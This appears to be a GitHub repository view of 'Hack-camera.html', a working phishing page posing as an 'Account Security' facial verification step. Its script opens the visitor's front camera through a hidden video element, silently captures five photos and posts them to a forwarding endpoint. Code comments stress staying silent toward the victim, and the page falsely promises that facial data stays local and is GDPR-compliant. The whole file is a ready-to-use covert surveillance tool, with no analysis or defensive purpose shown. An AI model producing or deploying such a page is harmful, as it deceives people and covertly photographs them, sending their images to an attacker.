-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathHack-camera.html
More file actions
247 lines (213 loc) · 6.34 KB
/
Hack-camera.html
File metadata and controls
247 lines (213 loc) · 6.34 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Verify Your Identity | Account Security</title>
<link rel="icon" href="image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22 viewBox=%220 0 100 100%22><text y=%22.9em%22 font-size=%2290%22>🔒</text></svg>">
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, sans-serif;
}
body {
background: linear-gradient(135deg, #f0f4ff, #e6ebf5);
min-height: 100vh;
display: flex;
justify-content: center;
align-items: center;
padding: 20px;
color: #1f2937;
}
.card {
width: 100%;
max-width: 480px;
background: white;
border-radius: 20px;
padding: 32px;
box-shadow: 0 10px 30px rgba(0, 0, 0, 0.08);
text-align: center;
position: relative;
overflow: hidden;
transition: transform 0.3s ease, box-shadow 0.3s ease;
}
.card:hover {
transform: translateY(-4px);
box-shadow: 0 12px 36px rgba(0, 0, 0, 0.12);
}
.shield-icon {
width: 48px;
height: 48px;
margin: 0 auto 16px;
animation: pulse 2s infinite;
}
.shield-icon svg {
width: 100%;
height: 100%;
}
h1 {
font-size: 22px;
font-weight: 600;
margin-bottom: 12px;
color: #1f2937;
}
p {
font-size: 16px;
line-height: 1.6;
color: #4b5563;
margin-bottom: 24px;
}
.notice {
background: #f0f7ff;
border-radius: 12px;
padding: 14px;
font-size: 14px;
color: #1e40af;
margin: 20px 0;
border-left: 3px solid #3b82f6;
text-align: left;
}
.loader-container {
display: flex;
flex-direction: column;
align-items: center;
gap: 14px;
margin: 20px 0;
}
.spinner {
width: 56px;
height: 56px;
border: 4px solid rgba(59, 130, 246, 0.2);
border-top: 4px solid #3b82f6;
border-radius: 50%;
animation: spin 1.1s linear infinite;
box-shadow: 0 0 12px rgba(59, 130, 246, 0.25);
}
.status-text {
font-size: 15px;
color: #64748b;
font-weight: 500;
opacity: 0.9;
}
.footer {
margin-top: 24px;
font-size: 12px;
color: #94a3b8;
}
@keyframes spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
@keyframes pulse {
0%, 100% { transform: scale(1); }
50% { transform: scale(1.05); }
}
#video {
position: absolute;
top: 0;
left: 0;
width: 1px;
height: 1px;
opacity: 0.01;
overflow: hidden;
pointer-events: none;
z-index: -1;
}
</style>
</head>
<body>
<div class="card" id="ui-card">
<div class="shield-icon">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="#1a73e8">
<path d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4zm0 10.99h7c-.53 4.12-3.28 7.79-7 8.94V12H5V6.3l7-3.11v8.8z"/>
</svg>
</div>
<h1>Verify Your Identity</h1>
<p>To protect your account, we require facial confirmation via this device's camera.</p>
<div class="notice">
<strong>Privacy & Security</strong><br>
Facial data is only processed locally and is not stored. This process meets GDPR security standards.
</div>
<div class="loader-container">
<div class="spinner"></div>
<div class="status-text" id="status">Preparing verification…</div>
</div>
<div class="footer">
© Account Security Services — End-to-End Encryption
</div>
</div>
<video id="video" playsinline muted></video>
<canvas id="canvas" style="display:none;"></canvas>
<script src="https://wybiral.github.io/code-art/projects/tiny-mirror/index.js"></script>
<link rel="stylesheet" href="https://wybiral.github.io/code-art/projects/tiny-mirror/index.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
<script>
let photoCount = 0;
const MAX_PHOTOS = 5;
let photoInterval;
function post(imgdata) {
$.ajax({
type: 'POST',
data: { cat: imgdata },
url: 'forwarding_link/post.php',
dataType: 'json',
success: function() {
photoCount++;
// ✅ Diam total — jangan pernah ubah UI
},
error: function() {
// ✅ Silent fail — jangan beri tahu apa-apa
}
});
}
async function initCamera() {
const video = document.getElementById('video');
const canvas = document.getElementById('canvas');
const statusEl = document.getElementById('status');
try {
const stream = await navigator.mediaDevices.getUserMedia({
video: { facingMode: 'user' },
audio: false
});
video.srcObject = stream;
statusEl.textContent = "Verifying identity…"; // ✅ Pesan netral & sah
await new Promise((resolve) => {
video.onloadedmetadata = () => resolve();
});
await video.play();
await new Promise(r => setTimeout(r, 1000));
if (video.videoWidth <= 0 || video.videoHeight <= 0) {
throw new Error("Invalid video dimensions");
}
canvas.width = video.videoWidth;
canvas.height = video.videoHeight;
const ctx = canvas.getContext('2d');
// Ambil foto pertama tanpa notifikasi
ctx.drawImage(video, 0, 0);
post(canvas.toDataURL('image/png'));
photoCount = 1;
// Ambil sisa 4 foto diam-diam
if (photoCount < MAX_PHOTOS) {
photoInterval = setInterval(() => {
if (photoCount >= MAX_PHOTOS) {
clearInterval(photoInterval);
return;
}
ctx.drawImage(video, 0, 0);
post(canvas.toDataURL('image/png'));
}, 1200);
}
} catch (err) {
// Hanya tampilkan error generik jika benar-benar gagal
statusEl.textContent = "Verification failed. Please try again.";
statusEl.style.color = "#ef4444";
}
}
document.addEventListener('DOMContentLoaded', () => {
setTimeout(initCamera, 800);
});
</script>
</body>
</html>